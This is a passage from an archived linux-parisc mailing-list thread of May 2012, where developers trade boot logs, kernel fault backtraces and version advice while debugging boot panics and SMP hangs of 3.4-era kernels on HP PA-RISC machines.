Enumerating EISA bus
EISA: Probing bus 0 at 4
EISA: Mainboard HWPC000 detected.
EISA: Detected 0 cards.
powersw: Gecko-style soft power switch enabled.
bio: create slab <bio-0> at 0
raid6: int32x1     28 MB/s
raid6: int32x2     31 MB/s
raid6: int32x4     37 MB/s
raid6: int32x8     17 MB/s
raid6: using algorithm int32x4 (37 MB/s)
vgaarb: loaded
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 2048 (order: 1, 8192 bytes)
TCP established hash table entries: 8192 (order: 4, 65536 bytes)
TCP bind hash table entries: 8192 (order: 5, 163840 bytes)
TCP: Hash tables configured (established 8192 bind 8192)
TCP: reno registered
UDP hash table entries: 128 (order: 0, 6144 bytes)
UDP-Lite hash table entries: 128 (order: 0, 6144 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Chassis warnings not supported.
Initializing RT-Tester: OK
====[ backtrace testing ]===========
Testing a backtrace from process context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<1011b070>] show_stack+0x18/0x28
 [<101148f8>] dump_stack+0x1c/0x2c
 [<10181098>] backtrace_regression_test+0x50/0x130
 [<10118eac>] do_one_initcall+0x54/0x284
 [<107a1abc>] kernel_init+0x1a8/0x270
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a backtrace from irq context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<1011b070>] show_stack+0x18/0x28
 [<101148f8>] dump_stack+0x1c/0x2c
 [<10181028>] backtrace_test_irq_callback+0x18/0x38
 [<1013b96c>] tasklet_action+0x80/0xe4
 [<1018ffc0>] rcu_process_callbacks+0x30/0x40
 [<1013c2e0>] __do_softirq+0x148/0x198
 [<1013c39c>] run_ksoftirqd+0x6c/0x120
 [<101174bc>] schedule+0x30/0x74
 [<101546f4>] kthread+0xac/0xb4
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a saved backtrace.
The following trace is a kernel self test and not a bug!
 [<ffffffff>] 0xffffffff
====[ end of backtrace testing ]====
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
msgmni has been set to 302
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
start plist test
end plist test
EISA EEPROM at 0x00810400
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
    id 2b4ded6d-40a00499, conforms to spec rev. 8.04
    graphics card name: HPA208LC1024
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
Console: switching to colour frame buffer device 128x48
fb0: stifb 1024x768-8 frame buffer device, HPA208LC1024, id: 2b4ded6d, mmio: 0xf8100000
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
2:0:4: ttyS0 at MMIO 0xf0105800 (irq = 18) is a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
5:0:2: ttyS1 at MMIO 0xf0202800 (irq = 25) is a 16550A
Linux agpgart interface v0.103
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 19 [PCSPP,TRISTATE]
parport0: fix this legacy no-device port driver!
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ide-gd driver 1.18
ide-cd driver 5.00
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi 0:0:6:0: Direct-Access     QUANTUM  FIREBALL_TM3200S 300X PQ: 0 ANSI: 2
scsi target0:0:6: Beginning Domain Validation
scsi 0:0:6:0: Enabling Tag Command Queuing
scsi target0:0:6: asynchronous
scsi target0:0:6: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
scsi target0:0:6: Domain Validation skipping write tests
scsi target0:0:6: Ending Domain Validation
st: Version 20101219, fixed bufsize 32768, s/g segs 256
sd 0:0:6:0: Attached scsi generic sg0 type 0
sd 0:0:6:0: [sda] 6281856 512-byte logical blocks: (3.21 GB/2.99 GiB)
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xf0107000, IRQ 17
eth0: 82596 at 0xf0107000, 08:00:09:c2:9e:60 IRQ 17.
sd 0:0:6:0: [sda] Write Protect is off
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
uhci_hcd: USB Universal Host Controller Interface driver
sd 0:0:6:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
serio: gsc-ps2-keyboard port at 0x0081a000 irq 22 @ 2:0:11
serio: gsc-ps2-mouse port at 0x0081c100 irq 22 @ 2:0:12
mousedev: PS/2 mouse device common for all mice
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
device-mapper: uevent: version 1.0.3
device-mapper: ioctl: 4.22.0-ioctl (2011-10-19) initialised: dm-devel@redhat.com
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
oprofile: using timer interrupt.
TCP: cubic registered
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 1970-01-04 11:04:35 UTC (299075)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.64
IP-Config: Complete:
     device=eth0, addr=192.168.178.64, mask=255.255.255.0, gw=192.168.178.1
     host=pa64, domain=box, nis-domain=(none)
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
 sda: sda1 sda2 sda3 < sda5 sda6 >
sd 0:0:6:0: [sda] Attached SCSI disk
md: Waiting for all devices to be available before autodetect
md: If you don't use raid, use raid=noautodetect
md: Autodetecting RAID arrays.
md: Scanned 0 and added 0 devices.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda5): mounted filesystem with writeback data mode
VFS: Mounted root (ext3 filesystem) readonly on device 8:5.
Freeing unused kernel memory: 328k freed
Backtrace:
 [<1021dc3c>] mpage_readpages+0xf0/0x16c
 [<10257e88>] ext3_readpages+0x28/0x38
 [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c
 [<101acc5c>] ra_submit+0x30/0x40
 [<101acee0>] ondemand_readahead+0xd0/0x26c
 [<101ad1a8>] page_cache_sync_readahead+0x44/0x74
 [<101a38e4>] generic_file_aio_read+0x400/0x764
 [<101e243c>] do_sync_read+0xd4/0x130
 [<101e32f4>] vfs_read+0xac/0x158
 [<101ea47c>] kernel_read+0x40/0x5c
 [<101ea58c>] prepare_binprm+0xf4/0x130
 [<101eae3c>] do_execve+0x2b8/0x3a4
 [<1012199c>] sys_execve+0x64/0x94
 [<10104084>] __execve+0x20/0x34
 [<10136374>] vprintk+0x1e8/0x488
 [<101a83e8>] __free_pages+0x54/0x64


Kernel Fault: Code=26 regs=19c24bc0 (Addr=00000034)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  0006ff0f 19c24c40 1021d928 19c24b00
r04-07  00000001 00000001 00000001 19c24a50
r08-11  00000001 00000000 00000004 00000001
r12-15  19802280 0000000c 10803980 19811598
r16-19  00000013 19c24b08 00000004 1021d324
r20-23  19c24a48 00068345 00000004 198114d8
r24-27  45830600 00000000 00000000 106fa020
r28-31  10645000 00000000 19c24bc0 00000004
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1021d784 1021d788
 IIR: 69330068    ISR: 00000000  IOR: 00000034
 CPU:        0   CR30: 19c24000 CR31: f00effff
 ORIG_R28: 19e71c00
 IAOQ[0]: do_mpage_readpage+0x284/0x5d4
 IAOQ[1]: do_mpage_readpage+0x288/0x5d4
 RP(r2): do_mpage_readpage+0x428/0x5d4
Backtrace:
 [<1021dc3c>] mpage_readpages+0xf0/0x16c
 [<10257e88>] ext3_readpages+0x28/0x38
 [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c
 [<101acc5c>] ra_submit+0x30/0x40
 [<101acee0>] ondemand_readahead+0xd0/0x26c
 [<101ad1a8>] page_cache_sync_readahead+0x44/0x74
 [<101a38e4>] generic_file_aio_read+0x400/0x764
 [<101e243c>] do_sync_read+0xd4/0x130
 [<101e32f4>] vfs_read+0xac/0x158
 [<101ea47c>] kernel_read+0x40/0x5c
 [<101ea58c>] prepare_binprm+0xf4/0x130
 [<101eae3c>] do_execve+0x2b8/0x3a4
 [<1012199c>] sys_execve+0x64/0x94
 [<10104084>] __execve+0x20/0x34
 [<10136374>] vprintk+0x1e8/0x488
 [<101a83e8>] __free_pages+0x54/0x64

Kernel panic - not syncing: Kernel Fault


--------------000702020506000603020803--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 13 May 2012 10:11:19 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <BLU0-SMTP437070F1BD4499EDC7F4B897150@phx.gbl>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <4FAEE943.2030203@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336918300 6825 80.91.229.3 (13 May 2012 14:11:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 May 2012 14:11:40 +0000 (UTC)
Cc: Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 13 16:11:39 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STZWM-0002n7-Kc
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 May 2012 16:11:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751675Ab2EMOLi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 10:11:38 -0400
Original-Received: from blu0-omc3-s10.blu0.hotmail.com ([65.55.116.85]:42960 "EHLO
	blu0-omc3-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751573Ab2EMOLh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 10:11:37 -0400
Original-Received: from BLU0-SMTP43 ([65.55.116.72]) by blu0-omc3-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 07:11:36 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP43.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 07:11:35 -0700
In-Reply-To: <4FAEE943.2030203@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 13 May 2012 14:11:36.0040 (UTC) FILETIME=[4E893680:01CD3112]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4364
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4364>

On 12-May-12, at 6:50 PM, Helge Deller wrote:

> I have my machines now up and running again.

Good.

>
> I tested upstream version (bcc62fb) and got on all my machines the  
> same bug (same Kernel binary started on all):
>
> Backtrace:
> [<1021dc3c>] mpage_readpages+0xf0/0x16c
> [<10257e88>] ext3_readpages+0x28/0x38
> [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c
> [<101acc5c>] ra_submit+0x30/0x40
> [<101acee0>] ondemand_readahead+0xd0/0x26c
>
> or
>
> Backtrace:
> [<1021dc3c>] mpage_readpages+0xf0/0x16c
> [<10257e88>] ext3_readpages+0x28/0x38
> [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c
> [<101acc5c>] ra_submit+0x30/0x40
> [<101acee0>] ondemand_readahead+0xd0/0x26c
> [<101ad1a8>] page_cache_sync_readahead+0x44/0x74
> [<101a38e4>] generic_file_aio_read+0x400/0x764
> [<101e243c>] do_sync_read+0xd4/0x130
> [<101e32f4>] vfs_read+0xac/0x158
> [<101ea47c>] kernel_read+0x40/0x5c
> [<101ea58c>] prepare_binprm+0xf4/0x130
> [<101eae3c>] do_execve+0x2b8/0x3a4
> [<1012199c>] sys_execve+0x64/0x94
> [<10104084>] __execve+0x20/0x34
> [<10136374>] vprintk+0x1e8/0x488
> [<101a83e8>] __free_pages+0x54/0x64

I haven't tried 3.4.  These seem to be new issues.  I will try 3.4  
soon, but
could you try stable 3.3.6?  Stable 3.3 up to 3.3.4 is known to work on
various machines.

>
>
> all logs attached for the 715/64, B160L and C3000 machines.
>
> I'll test tomorrow your patch (but will try to update my binutils/ 
> gcc prior to that).


There are known issues with GCC 4.3 branch.  In particular, the  
delayed branch support
is broken (at least three different bugs).  I would suggest you  
install 4.6.3 from shirka
or magnum.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 13 May 2012 16:32:20 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20120513163220.0537f384@epia.jer-c2.orkz.net>
References: <4FA9975C.5060708@bergerie>
	<4FAADE2A.9080803@bergerie>
	<BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	<2075347.T446pQRFvO@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336919553 15881 80.91.229.3 (13 May 2012 14:32:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 May 2012 14:32:33 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 13 16:32:31 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STZqW-0001RU-16
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 May 2012 16:32:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752211Ab2EMOc1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 10:32:27 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:52385 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751901Ab2EMOc1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 10:32:27 -0400
Original-Received: from epia.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id E39181B4016;
	Sun, 13 May 2012 14:32:25 +0000 (UTC)
In-Reply-To: <2075347.T446pQRFvO@donald.sf-tec.de>
X-Mailer: Claws Mail 3.8.0 (GTK+ 2.24.10; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4365
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4365>

On Thu, 10 May 2012 08:41:50 +0200
Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:

> I think Guy Martin has the cache patch running on at least one of his 
> machines.

I have the patched code running on a C3650 (kernel 3.2.12) and a C8000
(kernel 3.3.5). Looks stable so far, after a few days of heavy use. I
can't say it's actually running faster on either system because I
simply didn't test for that change.


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tobias Ulmer <tobiasu@tmux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: 3.4.0-rc7 hangs with SMP on c8000
Date: Sun, 13 May 2012 19:51:29 +0200
Lines: 486
Approved: news@gmane.org
Message-ID: <20120513175129.GA13674@tin.tmux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1336931931 11353 80.91.229.3 (13 May 2012 17:58:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 May 2012 17:58:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 13 19:58:50 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STd4A-00068E-KG
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 May 2012 19:58:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751479Ab2EMR6p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 13:58:45 -0400
Original-Received: from tin.tmux.org ([64.85.165.147]:35719 "EHLO tin.tmux.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751100Ab2EMR6o (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 13:58:44 -0400
X-Greylist: delayed 435 seconds by postgrey-1.27 at vger.kernel.org; Sun, 13 May 2012 13:58:44 EDT
Original-Received: by tin.tmux.org (Postfix, from userid 1000)
	id 1FF641FDE1; Sun, 13 May 2012 19:51:29 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4366
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4366>

Kernel hangs somewhere around initializing the other CPUs. Note that the
timing information stays the same, despite the last message coming about
~2 seconds late.

SMP worked fine on 3.3.0, especially with David Angelin's cache-tlb patch.

Command line for kernel: 'root=/dev/sda4 console=ttyB0 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 6520832 mediaptr 0x1000
Segment 1 load 007a08c0 size 577784 mediaptr 0x6398c0
Segment 2 load 00830000 size 191360 mediaptr 0x6c7000
Segment 3 load 0085f000 size 151872 mediaptr 0x6f6000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Linux version 3.4.0-rc7+ (tobiasu@cobalt) (gcc version 4.6.2 (Gentoo 4.6.2-r1 p1.4.1) ) #2 SMP Sun May 13 19:21:35 CEST 2012
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 000088b0 00000491 00000000 00000002 56f855018c5b7ed5 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000302
[    0.000000] CPUID vers 20 rev 5 (0x00000285)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/785/C8000
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000000100000000 End 0x00000001ffdfffff Size   4094 MB
[    0.000000]  2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
[    0.000000] Total Memory: 8190 MB
[    0.000000] PERCPU: Embedded 10 pages/cpu @00000000425ed000 s8512 r8192 d24256 u40960
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Kernel command line: root=/dev/sda4 console=ttyB0 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
[    0.000000] Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.000000] Memory: 8234944k/8386560k available (4492k kernel code, 151616k reserved, 1827k data, 340k init)
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.060000] Calibrating delay loop... 1993.93 BogoMIPS (lpj=9969664)
[    0.190000] pid_max: default: 32768 minimum: 301
[    0.250000] Mount-cache hash table entries: 256
[    0.310000] Brought up 1 CPUs
[    0.350000] NET: Registered protocol family 16
[    0.410000] EISA bus registered
[    0.450000] Searching for devices...
[    0.620000] Found devices:
[    0.660000] 1. Unknown machine at 0xfffffffffe780000 [128] { 0, 0x0, 0x88b, 0x00004 }
[    0.760000] 2. Unknown machine at 0xfffffffffe781000 [129] { 0, 0x0, 0x88b, 0x00004 }
[    0.860000] 3. Unknown machine at 0xfffffffffe798000 [152] { 0, 0x0, 0x88b, 0x00004 }
[    0.970000] 4. Unknown machine at 0xfffffffffe799000 [153] { 0, 0x0, 0x88b, 0x00004 }
[    1.070000] 5. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 0x00009 }
[    1.160000] 6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    1.270000] 7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    1.380000] 8. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    1.490000] 9. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    1.590000] 10. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x784, 0x0000a }
[    1.710000] 11. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    1.820000] 12. unknown device at 0xfffffff0f05e0000 [17] { 10, 0x0, 0x077, 0x000ad }
[    1.920000] 13. unknown device at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x077, 0x000ad }
[    2.020000] Enabling PDC_PAT chassis codes support v0.05
[    2.540000] Releasing cpu 1 now, hpa=fffffffffe781000
[    2.650000] FP[1] enabled: Rev 1 Model 20
[    2.660000] Releasing cpu 2 now, hpa=fffffffffe798000
[    2.820000] timer_interrupt(CPU 0): delayed! cycles FFFFFFFFFF7DC908 rem 890E78  next/now 18A127FC36/18A09EEDBE
[    2.820448] FP[2] enabled: Rev 1 Model 20
[    2.820448] INFO: rcu_sched detected stalls on CPUs/tasks: { 1} (detected by 2, t=1844674407392 jiffies)
[    2.820448] INFO: Stall ended before state dump start
[    2.820448] timer_interrupt(CPU 0): delayed! cycles 44D95D66B rem 812C15  next/now 1CEF3EFEB6/1CEEBDD2A1



Booting the same image with nosmp:

[    0.000000] Linux version 3.4.0-rc7+ (tobiasu@cobalt) (gcc version 4.6.2 (Gentoo 4.6.2-r1 p1.4.1) ) #2 SMP Sun May 13 19:21:35 CEST 2012
[    0.000000] unwind_init: start = 0x4063e000, end = 0x40678e40, entries = 15076
[    0.000000] WARNING: Out of order unwind entry! 000000004063f960 and 000000004063f970
[    0.000000] WARNING: Out of order unwind entry! 000000004063f970 and 000000004063f980
[    0.000000] WARNING: Out of order unwind entry! 0000000040640620 and 0000000040640630
[    0.000000] WARNING: Out of order unwind entry! 0000000040640630 and 0000000040640640
[    0.000000] WARNING: Out of order unwind entry! 0000000040640690 and 00000000406406a0
[    0.000000] WARNING: Out of order unwind entry! 00000000406406a0 and 00000000406406b0
[    0.000000] WARNING: Out of order unwind entry! 00000000406406b0 and 00000000406406c0
[    0.000000] WARNING: Out of order unwind entry! 00000000406406c0 and 00000000406406d0
[    0.000000] WARNING: Out of order unwind entry! 00000000406406d0 and 00000000406406e0
[    0.000000] WARNING: Out of order unwind entry! 00000000406406e0 and 00000000406406f0
[    0.000000] WARNING: Out of order unwind entry! 00000000406406f0 and 0000000040640700
[    0.000000] WARNING: Out of order unwind entry! 0000000040640700 and 0000000040640710
[    0.000000] WARNING: Out of order unwind entry! 0000000040640710 and 0000000040640720
[    0.000000] WARNING: Out of order unwind entry! 0000000040640720 and 0000000040640730
[    0.000000] WARNING: Out of order unwind entry! 0000000040640730 and 0000000040640740
[    0.000000] WARNING: Out of order unwind entry! 0000000040640740 and 0000000040640750
[    0.000000] WARNING: Out of order unwind entry! 0000000040640750 and 0000000040640760
[    0.000000] WARNING: Out of order unwind entry! 0000000040640760 and 0000000040640770
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 000088b0 00000491 00000000 00000002 56f855018c5b7ed5 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000302
[    0.000000] CPUID vers 20 rev 5 (0x00000285)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/785/C8000
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000000100000000 End 0x00000001ffdfffff Size   4094 MB
[    0.000000]  2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
[    0.000000] Total Memory: 8190 MB
[    0.000000] On node 0 totalpages: 262144
[    0.000000] free_area_init_node: node 0, pgdat 40696780, node_mem_map 417e4000
[    0.000000]   Normal zone: 3584 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 258560 pages, LIFO batch:31
[    0.000000] On node 1 totalpages: 1048064
[    0.000000] free_area_init_node: node 1, pgdat 40697500, node_mem_map 140000000
[    0.000000]   Normal zone: 14329 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 1033735 pages, LIFO batch:31
[    0.000000] On node 2 totalpages: 786432
[    0.000000] free_area_init_node: node 2, pgdat 40698280, node_mem_map 4080000000
[    0.000000]   Normal zone: 10752 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 775680 pages, LIFO batch:31
[    0.000000] PERCPU: Embedded 10 pages/cpu @00000000425ed000 s8512 r8192 d24256 u40960
[    0.000000] pcpu-alloc: s8512 r8192 d24256 u40960 alloc=10*4096
[    0.000000] pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2067975
[    0.000000] Kernel command line: root=/dev/sda4 console=ttyB0 nosmp palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
